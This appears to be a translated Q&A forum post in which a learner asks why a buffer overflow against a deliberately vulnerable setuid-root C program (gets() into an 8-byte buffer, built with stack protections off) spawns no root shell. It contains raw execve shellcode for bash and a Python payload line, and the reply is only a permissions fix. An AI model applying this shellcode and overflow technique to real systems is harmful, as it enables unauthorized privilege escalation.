缓冲区溢出shell不会产生

时间:2015-01-31 01:07:04

标签: shell buffer-overflow shellcode

我正在尝试在简单程序上缓冲区溢出

#include <stdio.h>

  int main(int argc, char **argv)
  {
    char buf[8]; 
    gets(buf); 
    printf("%s\n", buf); 

    return 0; 
  }

汇总这个选项

 gcc -g exploit1.c -fno-stack-protector -z execstack -o exploit1

二进制文件是setuid

ls -al exploit1  
-r-sr-x--- 1 root root 6016 janv. 31 01:47 exploit1

所以我禁用了所有堆栈选项和ASLR

我的shellcode是:

\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80

但是没有root shell出现,我有这个错误:

python -c 'print "A"*20 + "\xbf\xfe\xff\xbf"'| ./exploit1 
-bash: ./exploit1: Permission denied
close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr

我错过了什么?

TY

1 个答案:

答案 0 :(得分:0)

您无权执行exploit1。 Root需要做:

chmod o+x exploit1